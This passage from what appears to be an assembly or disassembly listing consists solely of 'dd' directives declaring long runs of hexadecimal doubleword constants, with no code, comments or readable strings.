80D2A038h dd 0CC0976D8h, 16AF3Fh, 1F72C12Fh, 3012CB2Eh, 9D45EC00h dd 899BCE74h, 73D5005Bh, 857654E8h, 2100653Eh, 6CF77C50h dd 17438B0h, 0FFEB4C28h, 0DCE84552h, 0B1005346h, 84909A1Eh dd 93E89AAh, 38A099E7h, 2C5608A3h, 3DC682D8h, 376AF900h dd 59E008C1h, 0B718122Ah, 14F3009Eh, 0E39DDC17h, 3F2E0502h dd 0A04B98CAh, 6CA320E0h, 337D2EE6h, 121D0ECAh, 0D6700156h dd 0D9F7888Eh, 0D9B874F1h, 0FD84C000h, 6027B71Fh, 0DF2B09FFh dd 0C184E743h, 0B3F887AAh, 2885BDEh, 373AB77Ch, 98BE835Ch dd 8575CAF2h, 7A308CE1h, 1F88BA4Fh, 0C0EC6E32h, 63E798FFh dd 7F735392h, 2DD410A0h, 0C800FE42h, 0D7CE8F67h, 55303938h dd 40D6C953h, 3C7E1FAAh, 0A4958E6Fh, 5E49CB80h, 1A005CFAh dd 0E77019BEh, 56C557Ch, 366F549Bh, 6520073Eh, 0DFA0E0DCh dd 78DFAD8Fh, 0D7CDBA07h, 1D6B3170h, 1CA73892h, 0A0DA5081h dd 0C16FD466h, 0D39081CEh, 0FFADABD7h, 551CE18Ch, 4F00CA59h dd 59E8E78Fh, 5101ECh, 6C4CCC92h, 561A4358h, 63B5DE00h dd 0E8642BF2h, 65C10033h, 0CCE1F3BBh, 300C0D4h, 2E1CCD28h dd 0E79CB10h, 0D0EAA90Ch, 0AFC557E0h, 0D00C766h, 6F09BC2Ah dd 3B84FBh, 0D48011BDh, 82F88FCCh, 0C89C5D16h, 1437D400h dd 0CA06Dh, 71E1BBA3h, 3D51B56h, 81B73Ah, 23E0122h, 0B173E6h dd 9CD46FB2h, 0D979AD5Eh, 1117C400h, 0CFC11832h, 1E20754h dd 50EBC882h, 88A28DF0h, 8A5D0400h, 106CF9B9h, 723D00A5h dd 3EA6386Dh, 0E700FC20h, 9D6673EDh, 59F6794Ch, 0BE001896h dd 20A5F778h, 0BCEEFB57h, 0C9797300h, 0B5360A95h, 5E7F13AEh dd 5049033Ah, 9FF84B04h, 9B0074ECh, 0D06DF3C4h, 0F16133F0h dd 1C263060h, 8069AD3Ch, 0A9A63BE2h, 6A035F99h, 386B5D0Dh dd 0E7B0C020h, 245300FAh, 65893E8Dh, 0B00F730h, 4C62F068h dd 73A23B02h, 4B5D3E0Ah, 6C76E19Eh, 3CAD1E9Ah, 0FB8DCE9Fh dd 1C92CB80h, 0F894166h, 85D77216h, 0E0D9C20Eh, 0A633B6A0h dd 0EA9B00A8h, 51563A6Ch, 27DB9B0h, 9405ED00h, 0BC20BF64h dd 0FD2900F6h, 6D8B2308h, 60002658h, 0A3A954F9h, 0D33CA0h dd 0F1913A69h, 0B82D3604h, 767FF3Eh, 0CC6CFE64h, 7701E1B0h dd 25B290C3h dd 4848022Bh, 1602BF0Ah, 0C1ABF62Ch, 615454DFh, 84A3444Eh dd 5CB27B10h, 8EE84C80h, 0EE8B8E3h, 5916F4F2h, 0FA314E21h dd 5628884Dh, 0E5EA8866h, 8811BC88h, 0C188C2A5h, 0E2E68861h dd 900D2088h, 5B4F8499h, 2228685Eh, 6D42109Bh, 285AE211h dd 0B75014FEh, 0C344E128h, 0CA5F45BEh, 892B3A10h, 443308D5h dd 1E441669h, 0C90F4465h, 62B314A0h, 33083289h, 0A01D2444h dd 896C1A3Ch, 820FEE6Eh, 807CA5B0h, 6BA03298h, 0B7590093h dd 1165FA03h, 0ED758221h, 27073901h, 0B19B87B5h, 0DDA4DCh dd 0C8370CD9h, 0D35975DFh, 0E87D48E6h, 0C9501400h, 60A7713Dh dd 842F007Ah, 4839AA51h, 0F33EE3C4h, 0ACF19FA6h, 7E659981h dd 2D201FAFh, 3C1E0077h, 98C2FB62h, 89F4C89Ah, 0C97DBD03h dd 0B8D674F8h, 128046D2h, 0B0C310B1h, 760ED778h, 21943B34h dd 0AE7BA497h, 0C922D440h, 77A200B6h, 1ED14CAFh, 0BB1E1A64h dd 1D00B14Fh, 63E543F4h, 0F2012E35h, 0D0DF0014h, 0F36C6572h dd 6DDAAF00h, 6BD49047h, 96F102E2h, 6331B181h, 0B6007CF8h dd 2E206EA1h, 3BCE0Dh, 0ACB7251Bh, 8EC441F8h, 9FD69400h dd 0CDF48654h, 13330011h, 4AC0715h, 74007A92h, 8677F814h dd 0F822FCE2h, 0AB720185h, 0B8AA0DA5h, 0BCEE20DBh, 0AFE73600h dd 5F9CFA32h, 7D407B1Eh, 47160072h, 5C6D51B4h, 21006F75h dd 464BF62Ah, 1561583h, 885D4785h, 0E8240230h, 0D8F74075h dd 68C0295Eh, 261E5B77h, 33EF12DCh, 0FACE030Eh, 9680DB51h dd 56008A93h, 4112EEACh, 0D87619h, 6D2D03B4h, 8E1FB6ADh dd 6E00ECFAh, 939D7754h, 4966D0h, 2C05A49Fh, 9C4C02D5h dd 0C7BD8401h, 0AE0BFCCDh, 2031F60h, 0C53C0A05h, 7502409h dd 62BA3412h, 81CE00EEh, 9267DFD7h, 99BF3Eh, 0D22D7AE6h dd 1FBB4A6Eh, 80A9953Bh, 0F41FA4C0h, 0EE00D90Fh, 0C3197F7Dh dd 0D61B7Ah, 0E296DA1h, 0B970FDB5h, 681A0D00h, 2AFBDEF4h dd 347709E0h, 1903CB5Bh, 1DC00B48h, 280008B7h, 0C30A9DC7h dd 1013E7Fh, 0B4C99BA9h, 74B9689Ah, 0E8007210h, 4193E5D3h dd 70837E9h, 32ABE391h, 4F2A63B6h, 9A4821E8h, 362F2200h dd 0B2356D52h, 0CB05004Eh, 7AA8DCDDh, 93092E27h, 0A33ADh dd 91A3E991h, 9EE51E54h, 0E0D6C058h, 6FC623BAh, 9B41F10Dh dd 0DC00B0DBh, 4D78DAh, 541ABFE7h, 368A88B3h, 7C595F03h dd 0F06F6EBDh, 40EE0Fh, 0DB02203Fh, 33D445EDh, 37007EF8h dd 98F8CB99h, 0A27351h, 76D38586h, 631F4941h, 0C301ED05h dd 0BF0003F8h, 0A1F1F52Fh, 3A9600BBh, 0AE2206D3h, 1F07FE36h dd 0DE24B5ABh, 8C556D00h, 8F750068h, 727C2B40h, 78009228h dd 0B2B61CFEh, 75F8A882h, 0F6DA0364h, 0F7A4EA9Fh, 0D8927D90h dd 682434F9h, 59884A00h, 891E1551h, 463C1420h, 0C526BC29h dd 0DA1A00BFh, 1EFE5571h, 0D65D8300h, 0E40FA506h, 0A300018h dd 4168DEB3h, 73004AC2h, 9590D7D5h, 0FFAEA26h, 0BE828520h dd 273691E0h, 4A00A43Eh, 0B987511Dh, 38F2584h, 863A3558h dd 49BA2217h, 16ACB883h, 0F86ECC98h, 0BA376D12h, 9E52FC21h dd 71742E20h, 31BF6AA7h, 79E40062h, 0C367F3Eh, 7A00FBB0h dd 1ED751D2h, 382371Dh, 0E81CFC96h, 0BB980FC0h, 7107CC8Ch dd 56E060C7h, 406B91D2h, 1CBA204Ch, 40D885FEh, 9D43DA89h dd 251C9571h, 2CC09FD2h, 9311E6Bh, 0D4B00E78h, 6D20A3F2h dd 46972F4Ah, 9B5D1B00h, 90DBD9BCh, 0D17D16h, 0C80BF30Fh dd 3DC36206h, 0B0DF2203h, 0F02B0DB1h, 1586EA7h, 30AA7638h dd 0F4C33E2Eh, 3A0713CBh, 1D71BEC9h, 0E4835B64h, 215EF859h dd 470805AEh, 801811B7h, 602A1960h, 0C36CDD00h, 7D536E4Bh dd 9DBF00A1h, 4FE7C716h, 7700CF2Eh, 9936C64Dh, 1230D8B3h dd 42E182B5h, 0CA09F6E4h, 0A200B066h, 0D934FF60h, 4A2F2Bh dd 0F787A6EEh, 94B037C0h, 43EF1800h, 462692A5h, 0B42E0067h dd 1E8CF5CFh, 950241F7h, 0E5DA141Dh, 84746018h, 87E000BFh dd 9085602Fh, 0C60059C5h, 6D96EF29h, 2EA35Fh, 0FFAA4113h dd 0E3641191h, 203248CFh, 1E5AC772h, 9D900088h, 93475DCAh dd 90C08CD2h, 8AC724ADh, 0DCF058h, 0B90D5694h, 506B953Ch dd 0BD0A25h, 0DF5FA928h, 239900DCh, 28350597h, 6007173Ch dd 0B6013071h, 48BA02C0h, 0A2B8009Eh, 5A4D6207h, 0C9122926h dd 0D4000531h, 0C72AE5BBh, 1AB927A8h, 0FB0C9EDCh, 30284Eh dd 2C39C013h, 99C282A2h, 8460762Fh, 0BB80BD2Ch, 0E68F02h dd 79F2C012h, 1E958A74h, 0CF3D6900h, 0BA6DBF27h, 0BBBB587Ch dd 5E320309h, 0CEE0980Fh, 7B76C4B6h, 4F6CB901h, 9F37D09Ah dd 3048CFECh, 0C28BEFBh, 0D6005734h, 0B0950AF4h, 546F73h dd 0FDC87D83h, 6CA5F730h, 9E485E3Eh, 82D43158h, 0FFD10B8Eh dd 0CE5C3012h, 287D0061h, 1439F9BBh, 0B7004C08h, 0F405D078h dd 20E0987h, 132B92E1h, 18601263h, 49096FCDh, 0A09BE2F2h dd 0EE05AB14h, 172D000Eh, 71585E7Ch, 0EF03868Bh, 9A93DACAh dd 3BFBB1DDh, 3D8082E8h, 1F008C47h, 0AFCE996Bh, 0D8C3A267h dd 0E2D1E0F9h, 45F848DAh, 338E085h, 66607029h, 1C906C71h dd 401D7FF4h, 935F455Ah, 40B74B0Eh, 60C3FDD2h, 4ACF5C76h dd 56878C00h, 0A1418EE0h, 4DA0C800h, 17D23464h, 2DD7971h dd 59A281CBh, 4057D3F1h, 0C9F0CEh, 85648626h, 959289B8h dd 0A83A8E00h, 4BE880C6h, 9F8C03EFh, 863945DBh, 20AB64C9h dd 0D1002664h, 0C8C23B37h, 502A4D31h, 56BA8Dh, 5B50A184h dd 6FA42D97h, 0AB00677Ah, 1562EF07h, 9D625h, 230B3D19h dd 0AD8F8BA9h, 0A117A8EEh, 540760D5h, 0A720775Dh, 2EC4C71h dd 0C9502BE8h, 0DF407539h, 1A00CF7Ah, 2A5FD051h, 7CDBC84h dd 5A7DDF03h, 12B09273h, 33889A40h, 5721E000h, 0BFFCC980h dd 0E74A021Eh, 71477C74h, 120F41E0h, 64426490h, 1AD53000h dd 0F71B5ADDh, 0D13AA200h, 43CDCEDCh, 98921625h, 6F53004Bh dd 0CAA77F1Dh, 0F9D30500h, 962897CBh, 6D3D009Ch, 89A10653h dd 7A1763D0h, 3420A847h, 1CD63A11h, 982849Dh, 5E078DC3h dd 4DF421A1h, 0AA1285D0h, 0C8007B41h, 26046F0h, 0F8E207DCh dd 0F0FD5031h, 0A4AC6954h, 987920h, 7801B60Ch, 0F906FEE6h dd 16BD8C00h, 402485E3h, 6492FAh, 0A66C4F71h, 0AAD1F755h dd 0D9016900h, 2C12B142h, 0B5980160h, 0EA206F9Eh, 0ED3370F7h dd 0F00517Eh, 7276A318h, 0F80E8227h, 0A20609C7h, 6420C4CEh dd 8B3D3CCDh, 7FBA2C00h, 0E437FFBBh, 0F155018Ch, 0BE21481Fh dd 83807F83h, 0B621EADh, 0B8B08B9Ah, 2E00AE89h, 938CD9FAh dd 0ECE45A00h, 6DB25F63h, 3B990C1Dh, 0F0C01CDBh, 6EFD6F0Fh dd 0D3C4A4E4h, 0C8290A0h, 0D42E265Fh, 9300DD11h, 4E582F4Bh dd 21A316Dh, 9EC29F22h, 50601685h, 0A06EFF4h, 0A19DC596h dd 9BB100C0h, 592C53C4h, 0B701958Dh, 88099F0Eh, 52C837F9h dd 4108268Ch, 0AF43016Ch, 0D0250FAAh, 6D01A00Dh, 2A1487F5h dd 38686777h, 6BCC8600h, 0FFDAAC39h, 237FE00h, 9740ED17h dd 506F0F35h, 764CC8F0h, 0DC00E9D6h, 0E1747F34h, 3C9CBEh dd 24AFE48Ch, 840EA96h, 63442300h, 3A5489B6h, 0A40D021Bh dd 4A17A8EFh, 950E1C60h, 8EB3FB02h, 0E85B7410h, 11AAC04h dd 0F26A280Ch, 80B24BD8h, 201ED244h, 25037635h, 88E18F7Bh dd 10E4334Eh, 0E02E105Dh, 5C770082h, 14E30ACFh, 393CBD00h dd 0D467DDC8h, 517B32h dd 0D64F3FBFh, 1366F478h, 0E9260A00h, 8701A528h, 5D6B07C2h dd 502108CAh, 0B1BBDCEDh, 0A4005C98h, 0EB361CB5h, 1F7461C9h dd 0C0B002F3h, 41106783h, 114C60D2h, 87F600BCh, 0AD12210Fh dd 98964Ch, 0BEDC9B3Ch, 0F000AF0Ah, 0D8471BE8h, 1D65F872h dd 40217E1Fh, 20BC2633h, 6401EED9h, 6E15A62Fh, 0D4EC31CCh dd 0C61901DFh, 52FDF0DAh, 84B05032h, 140EC4EAh, 5D88A4h dd 0F3167954h, 0C1E91D45h, 0D55665h, 0A9C6E446h, 0E801A110h dd 5F7DA5Ch, 0D0E8818Ah, 416B0996h, 8880B04Fh, 2F0125DEh dd 6E29F809h, 0FF4C2A0Dh, 4A876700h, 0FF08862h, 0AD023377h dd 60603049h, 2C0040C2h, 9CDFA1BCh, 4CD5E051h, 5B008413h dd 3C627B5Fh, 0D804D27Dh, 0B2CA4C92h, 21DC18C0h, 8D400025h dd 467B652Bh, 40B878C1h, 0F6BE8700h, 7769DC96h, 0E3A800E0h dd 6705A6Eh, 8B1D09C7h, 0FE41C323h, 5CFD6331h, 39F50C20h dd 799F2D3Ah, 1608564Fh, 0B61C0029h, 7B17506h, 0C0570F00h dd 16AFC9EFh, 7E12072Ah, 1F6BBA9Eh, 0F3029920h, 1F024FCDh dd 2DD6F2BFh, 2ACCE143h, 802905EDh, 90C93987h, 0B8B41D28h dd 0CF14E101h, 0C69A5B9Fh, 204D5820h, 0C4054A60h, 3D7C0827h dd 441FA840h, 0B92F31h, 32A48522h, 360E16D3h, 50CCC4Dh dd 0B56DFD5h, 6CEC14h, 7E21BF5Ah, 2C1902BDh, 0F1B24Eh dd 8E7560AFh, 1D3E4CBEh, 8650054h, 91C62418h, 6D91A00Ah dd 0DBE83B40h, 0A89AB404h, 308ACDDh, 0F5074865h, 0C9C6A80Ah dd 0CC97029Bh, 59D3759Dh, 7630B046h, 5C97829h, 148926Fh dd 88DB52B1h, 809550ADh, 82D60868h, 81C12436h, 202C5EDh dd 5046FBh, 0FA1DEA57h, 6507DBC2h, 8E709A00h, 0AEE6AC42h dd 10AA4C63h, 0A9AF7F00h, 460D9B56h, 2A9A661Eh, 0B44C8380h dd 702B2E33h, 6D5304ECh, 8043807Ch, 3052C1Ch, 0D67A7707h dd 2D90F54Ch, 385C5364h, 2E80ECC4h, 0DDAFC7E9h, 58008CB7h dd 46DED69Dh, 20FD51h, 6FA68876h, 0D36B9FB9h, 1A7400B5h dd 2C8B7759h, 80FCB721h, 0D4F4A306h, 86484164h, 0CA540049h dd 0DEFC270Ch, 0B8F0052h, 2809FBF0h, 704A02DDh, 99CC5440h dd 9062DF38h, 0CEC800DCh, 85A71698h, 97F4A07Dh, 9EAB990Fh dd 2A69A49Dh, 0F0D01497h, 0E8151Ch, 7CA35C0h, 27AEC9DCh dd 0E3002BE0h, 0B9FED91Dh, 0BF7A0B3h, 3EBD18CBh, 0F5697680h dd 0B43FF2BEh, 0A5E78365h, 9FD5989Fh, 59EC90FCh, 0EE0054B0h dd 0DDAB7574h, 70000440h, 864678B4h, 0C0ADEA10h, 1D1E8C10h dd 810EFB53h, 0A7693E09h, 0D8E05496h, 1E35290h, 1DAE51E5h dd 0EA25D231h, 0A31F34D0h, 300E7E61h, 0A560726h, 88805514h dd 2927DBh, 0FA115D0Dh, 54CE94B0h, 258F9E13h, 0FB3FCF05h dd 0C0F719C0h, 7051067Ch, 109D6D37h, 30A36901h, 34AB2A4Eh dd 3AC7870h, 0B7FF44F6h, 90B02E99h, 4B02A576h, 0DE368A81h dd 0EF4460E6h, 84720008h, 20E74C67h, 0A4002206h, 50ABB244h dd 407DE9h, 603E5369h, 9B7FD6DFh, 4B45A613h, 0AEC0001Ch dd 0C617363Ch, 94235C04h, 0C5F59200h, 0BBA5FA4Eh, 441CDF74h dd 0C741C213h, 0AA899751h, 481D874h, 15C90B16h, 3014E020h dd 42E6B600h, 0D38548C2h, 95901CDBh, 0EA89805Bh, 72CE2946h dd 37B75600h, 0FE1EB599h, 0F03B01A8h, 798ABD1Bh, 8E98807Eh dd 0A41CD20Fh, 1C64ACCh, 0DD45BDCCh, 2966CC2Bh, 0E8381B00h dd 0C0090744h, 0FBFD000Dh, 546432F1h, 2B1DF28Ah, 0BD7E52h dd 0F8EADD74h, 5CF7563Bh, 9200DCDEh, 0A35B87DFh, 5E4875E1h dd 0A226138Ch, 195088h, 0E398E690h, 0DEFB488Ch, 0F8AA6C2Ch dd 32540B8h, 792087B5h, 0E6988973h, 5900239Fh, 498C12DBh dd 1F98FEA7h, 0C14578B7h, 83B3CF0Fh, 0DB1BF99Eh, 0C0C652C1h dd 9F796264h, 0B90090BCh, 9237F6D7h, 5AFA0159h, 0BD2E64E2h dd 4E16E833h, 645E48h, 5F6A8B22h, 1E3F707Ah, 3D0CB210h dd 0E29F1480h, 28C97C54h, 28B7B1Fh, 1F378300h, 169FD3Eh dd 81B5602Fh, 0CC747052h, 1601CCE4h, 5814C97Eh, 7DEC65E9h dd 26B10081h, 7CCAFE64h, 0E0BC2962h, 80D517h, 0FB094Ch dd 2D3CFE66h, 5295AC9Ch, 9704B700h, 9EEBE471h, 0C2AE001Dh dd 0C5AAB016h, 6D005140h, 0B3C8F7C6h, 0B9236Eh, 52181FEEh dd 0FDE190D1h, 0EB41F300h, 0E794CB15h, 7F17871h, 4C40BEF4h dd 8EE550D9h, 4300D155h, 9F074EF6h, 986135h, 73F3E77Fh dd 0ECBD7A5Bh, 0C30062FAh, 0E6FC2138h, 3AB1C0h, 0C5C92C7Ch dd 0E14AD411h, 2101B8BAh, 358FAAF6h, 0B9CCEC80h, 43D40090h dd 0AE23EB3Ch, 1207842Eh, 0D7BE2737h, 3BB867h, 6EE0B10Dh dd 0C709003Ch, 99074DA1h, 7601E98Ah, 1F43ABA2h, 7DDC85B7h dd 511509B6h, 0DF804669h, 2E48D711h, 0E9D29C0Eh, 68E14039h dd 34C64Eh, 4031C7BBh, 3C32FC29h, 44EAF707h, 75F70AFAh dd 47AB3BB0h, 17341D1Ah, 0D87F0018h, 0B06D94C7h, 6300BAE2h dd 9220C50Bh, 7E78D46h, 5723A2EDh, 837CE344h, 0F9385C0h dd 8A00CDE4h, 1F5C7AFEh, 9FF22BBBh, 0E610068Ch, 0E5F38F01h dd 1D9597EBh, 0F4DC85C0h, 2A9D2ED9h, 0FEAE000Fh, 0A18781BEh dd 52B3A609h, 7A12807Bh, 0F89482FFh, 0EDC7018Ch, 0BB9509F0h dd 0C0A5C097h, 0AAA7EB00h, 7AC2AB35h, 190500C1h, 4918092Bh dd 0CC74D6AFh, 80A8B869h, 6738A8F8h, 86683E93h, 0B6C49B80h dd 79C7B87Dh, 29A4D700h, 1393C884h, 8C6500BFh, 7FCC9112h dd 600A4FB2h, 0C4A118F1h, 0ACCB2500h, 4309EA0h, 0EEB5785Eh dd 952FC0A2h, 43067240h, 2965FD3Dh, 0B73A0031h, 687EAB3Ch dd 523949F1h, 809D3FE0h, 5BFB9862h, 0C67CAC9h, 967AE1F6h dd 4C0375F0h, 399B1968h, 29A9B83Ch, 4F6D0414h, 805F31A0h dd 0E6B8C5D4h, 64EDC300h, 55BC44CBh, 991D00D0h, 0AC947C8Ch dd 694C86A9h, 6B2C0172h, 5CCC8ABFh, 0E45A78D0h, 0E8B900D1h dd 60795F4Ah, 0EF00D04Eh, 1A015B91h, 86ECDCh, 0DFDD15Ah dd 1EBBA945h, 0A5F40C00h, 8A6A332Ah, 72630760h, 807D83C1h dd 7707BD4Ch, 0F86EDC00h, 82CEFD49h, 0EC860613h, 0D8830130h dd 0B77D1E00h, 0E78E711Ch, 1A5D0031h, 0B4036E0Ch, 5A00B809h dd 9786BE5Fh, 4CFFA8Fh, 0A62E87D8h, 0EDF8C0A2h, 0B87075CCh dd 1E14783Ch, 42C0A021h, 123F9324h, 5A6600D4h, 5D4007F2h dd 18304CFAh, 0AABA788Ch, 0BF73167Dh, 0B91DD8h, 636DF093h dd 0E40569EDh, 0CFD1AA49h, 71681E86h, 0CE35002Fh, 77E0E9AFh dd 0B002892h, 0F15F65D9h, 3DFDB0Dh, 1F4DA75Bh, 58B8E953h dd 0F700C37Fh, 45623846h, 88948Dh, 3DE3E2DBh, 0FA962B16h dd 22C01000h, 0BB43F439h, 8CF24817h, 34C53C00h, 320957C7h dd 6A38B0B0h, 439300ACh, 61B7ADF2h, 0FF8F00DFh, 65DB5FE2h dd 381E06CBh, 2DC07DC9h, 579473B4h, 9F25072Ah, 6781C618h dd 0A22BC009h, 0DF000563h, 629DD26Ch, 99ABF4h, 8980C744h dd 147AF0BBh, 1E35A600h, 484DFA08h, 0E9B90EAh, 7EC3D47Dh dd 0D9C0E2CEh, 14F0770Dh, 8F086B4Ch, 34019275h, 408788B3h dd 854091D9h, 0D23CF9h, 0AD44F276h, 5CFDFF8Eh, 93F9C7Dh dd 12C581C9h, 0B9E88CC4h, 723AEECh, 0DC3D78CEh, 0DC0BF63h dd 7DA987B0h, 1A957100h, 0D0BD702Fh, 345F00C1h, 2915FC09h dd 0C4042247h, 59AC1987h, 72C56890h, 3B8F0086h, 0A33839Dh dd 290634BEh, 0AFE5EA1Dh, 229418B8h, 43613050h, 0B7628800h dd 34C1BA38h, 722401A6h dd 15685E2Eh, 7364FCBDh, 6652A000h, 0C513A794h, 0CBEB128Bh dd 462C0380h, 7298A96Bh, 223E6558h, 93CE38C9h, 5400966Fh dd 57C4FCF6h, 9AAD032Fh, 784988C6h, 36C0B191h, 0BD1F0068h dd 0E4615A89h, 5FE90074h, 0AC493088h, 42E8C7C5h, 0E17BF8CEh dd 614F552Eh, 1783992h, 2ACA26C0h, 60F6EC59h, 80902828h dd 86FA3500h, 0B072A1F9h, 4C657EFBh, 20004AC4h, 0E1D96B73h dd 25001982h, 0F61B457h, 9A3B4Dh, 915D5937h, 0C71532CAh dd 78ABE200h, 0B68E138Ch, 0C02F01A9h, 29854AF0h, 2B2DF84Fh dd 92560D00h, 0A48CE48Eh, 5E8F0041h, 6E96B476h, 0D7005AC8h dd 0EF9106A1h, 9CB59EDh, 0F83F203Bh, 0E1E35800h, 700ACDB2h dd 0AC88F460h, 0E8CCF501h, 0BCF41D9Ch, 0A3263EF8h, 20B1E50Fh dd 0F9DDDF20h, 65003B45h, 4DE16D4Ch, 17D63CC4h, 199E56h dd 212C1425h, 3D04E205h, 0B4EA92CDh, 3FDC80C1h, 0F29CCh dd 3489AF23h, 8332378Fh, 431EA173h, 73C09010h, 0AECEDA78h dd 0C65F0099h, 35A9013Ch, 220112A8h, 5B070F6Ch, 46F0B1A2h dd 3C735886h, 688D8E00h, 0DE949945h, 20424E1Ch, 0E761CA4Fh dd 0E3C4DD65h, 0F46388C0h, 0ABE0838Ch, 0E07677Dh, 4BFB8548h dd 0A644E80h, 0B50602A9h, 81D123BAh, 3EF3460h, 0D045CE24h dd 1394BE14h, 9C20052Dh, 90852FB6h, 1EB77A70h, 7EC66Fh dd 915BE331h, 0B890BE16h, 7B58E48h, 9AC255A2h, 426F60A0h dd 0B5350025h, 2CAC2B23h, 691DDD17h, 0C6D71309h, 345BDD00h dd 2E32929Dh, 0BE5103h, 5A59AB44h, 0C9000F35h, 122B2C1Ch dd 90A11AF5h, 4B7A00E0h, 5C862497h, 653171FAh, 0AADDF08Dh dd 4E74D809h, 8B66AB01h, 0A110F44Bh, 2C8E880h, 0F5E47544h dd 0B122A898h, 5A4E2424h, 538B40DCh, 1D0738CCh, 0A649F595h dd 2F3DD381h, 13AEE3D8h, 4029CADAh, 7ACDDD18h, 5C013E10h dd 0B9C4C594h, 75CCA39Dh, 0A7B0064h, 4C876D4Eh, 43052B20h dd 6CAB4DAFh, 0E845C000h, 0D37EF9h, 9D577135h, 59D8E31Eh dd 8FBFDA00h, 0C89BED4Bh, 0C4CE0C54h, 824EB3C9h, 0D1F08960h dd 1DFE4CE8h, 0C9606676h, 805583h, 6B1623ADh, 24A53903h dd 0F86FC357h, 1F612953h, 41B201E0h, 30D718FDh, 9662C490h dd 0E31A104h, 6480B397h, 0F1C5B80h, 41CE7B50h, 0F8113403h dd 77E1F100h, 28487165h, 1FA29020h, 4070D9C1h, 948774EFh dd 150079C8h, 0C6FBD376h, 0BF1660h, 64A0857Ah, 726804Ah dd 7700FC7Fh, 0EEA283F5h, 2CA4328Ch, 9072E0h, 0DF647FAh dd 0C4B08726h, 0F060EE00h, 49F37392h, 54D266Ah, 79090h dd 0EF99C712h, 9CBDDA3h, 80A714B4h, 0CE5354A0h, 0FC00D13Ah dd 0D25A903h, 4C4175AAh, 5053B7F3h, 70569700h, 95DCC119h dd 0C8008DF0h, 0E406A0AFh, 0FE266Ch, 50F02D1Bh, 47C0790h dd 888F3Ah, 0CDA9C44Bh, 7830BE6Ah, 179008Dh, 1E18EF1Bh dd 0A8C09E92h, 0B9BA0BB1h, 0A725070Dh, 0D035F9C5h, 0FED7F1EAh dd 0E0437100h, 9ABA9DF6h, 5DE8003Eh, 0D6772723h, 80001DFCh dd 0A834D3ACh, 6EF51Ah, 0B0FE8AC4h, 3CBB1F43h, 0DC60C14Ah dd 284104FCh, 5D85C81h, 0ECC586B1h, 0B94C9016h, 0F900CD0Ch dd 58430638h, 0C53025h, 53D28168h, 64E3391Ch, 55230507h dd 12926C21h, 7B44C935h, 0AC51C4h, 3054473Dh, 9EC43ED2h dd 0B899A500h, 63CBDEE6h, 1DF21469h, 2607C0A9h, 0D0557DC8h dd 0BF1ABDDFh, 0B2A71602h, 607462F4h, 0C4506Ch, 84ADDC03h dd 6344DED8h, 0CF00E898h, 6633A547h, 7920E42h, 0FB384B99h dd 2F41D0A2h, 0EA48908Ah, 10AA0710h, 0F330D2B3h, 0F0E330h dd 57FF5D41h, 442E1207h, 0E0671F02h, 80D6BC94h, 7CA80FA2h dd 4970371h, 11D74DC9h, 0E0DE6AA8h, 67006BF8h, 557EE7D5h dd 1E4BA7h, 0B06CCE69h, 0D73AE3FFh, 0F62593Dh, 0ECB71638h dd 8BC87Ch, 5EC08674h, 0D96EF0Bh, 68F1D924h, 60E2500Fh dd 496AA065h, 3D0A0037h, 830C2C84h, 9C00D306h, 941C7692h dd 9B11132h, 0E236E7F1h, 10DCF4A7h, 5952B469h, 0E6756B00h dd 0D066F262h, 0D5BB0E32h, 830FE1AFh, 0F101D140h, 1B00C96Ah dd 0F6E238BDh, 566CCFh, 8CB6C49Dh, 0B06D92FDh, 33690706h dd 111910Ch, 0CAEBD872h, 70D44677h, 4576ABDFh, 98494CC0h dd 3EF0556h, 0E4E91B51h, 0D80E1E24h, 4094EE3Bh, 90B2B3Ah dd 0A48D00B7h, 256FFD36h, 0D35030AAh, 0F1004AD0h, 0BB4EEFADh dd 98B68D4Bh, 0AF9E00B7h, 0EAC6299Dh, 0F000E04Ch, 3FC07F4Fh dd 91ABA0h, 499F477h, 29A4D561h, 0AD891907h, 1BF035D4h dd 0E0B317h, 0D6DE7BA6h, 0F7AF923Eh, 0C7433D00h, 0EF5A2B1Fh dd 0DCA401B2h, 67365DEEh, 0BA15C891h, 0A702EC90h, 2A17D098h dd 0E8F06481h, 0F4D2003Eh, 0FBF15092h, 39007B83h, 9E5508F6h dd 9D4729h, 0A568E6ABh, 5C651909h, 0DE003CB2h, 6AB86BFFh dd 1A6CFDDh, 6930ED47h, 0C3261736h, 0EC121AC9h, 7400A89Eh dd 66D68ED5h, 0E4E2C3h, 6FD80157h, 96CF9BBEh, 0BCFEA504h dd 1CC1B38Ah, 2CD59814h, 260582D0h, 847C8F9Bh, 0A1968A0Ch dd 68F1D838h, 0E7026h, 3805711Dh, 1003E103h, 4888300Ah dd 0AD0C0239h, 0BE08142Ah, 7F5B3100h, 0B3A8125Dh, 984800C5h dd 0B8E0DD83h, 8F0B8110h, 86BD903Ch, 26601228h, 10E313h dd 0FD14B81Ch, 0C3008F61h, 1D1F5C25h, 0C6A7Dh, 0E776809h dd 9027033Eh, 9E1089C0h, 0E58218Fh, 0E699C0E3h, 5313BA81h dd 3BA45143h, 492C7092h, 9CCE0800h, 21CCC581h, 0A2F466h dd 0F38C9F90h, 4F7BFD2Dh, 3F005D7Ah, 42B4E812h, 0B62858h dd 966CA5A7h, 0F14BACCBh, 5C001671h, 4943426Dh, 75B40D0h dd 4EB57B0Fh, 3C8A6039h, 0A2E2118Eh, 0C7ECA500h, 0E1EE53B2h dd 0FFA70606h, 0E83D1081h, 0C57AB607h, 6387781Ch, 68DFB380h dd 0D5A01D11h, 8A7C43ACh, 0A5801973h, 6B00B7BBh, 69128209h dd 0F2FBA437h, 9ED0009Fh, 2ABD0C54h, 7AE69847h, 23204600h dd 1D72AED3h, 0E3051E79h, 0EE774727h, 0E160810Bh, 6FE641D9h dd 0D8EC7474h, 7D78AE00h, 9577900Ah, 0EEA51D2Ah, 3D00789Ch dd 5F79927Ch, 5C00A6BCh, 2FF08AE3h, 2EF272BFh, 0B4A50h dd 0FA2CF5C8h, 7907B138h, 95F468A7h, 0B8FB5373h, 36A869Ah dd 0E377A6E5h, 4AC86518h, 381FA33Dh, 0AF80377Bh, 47532B88h dd 0F6730EB3h, 0A460B96Eh, 5B52E383h, 0FAA8C8FDh, 0B5009371h dd 785D4907h, 4A8C05h, 0BBB3FC65h, 7B3C4515h, 41F67100h dd 3D47F0BDh, 9CC807CAh, 809F53DEh, 80BA38E6h, 9224A4E6h dd 46941454h, 720CEA04h, 0BE10738Fh, 8CB36E24h, 0E5D33400h dd 3B8D49h, 0A284E0B2h, 96A38872h, 514728CEh, 0A108CF21h dd 0AC7C88E2h, 88B80588h, 0D288E72Bh, 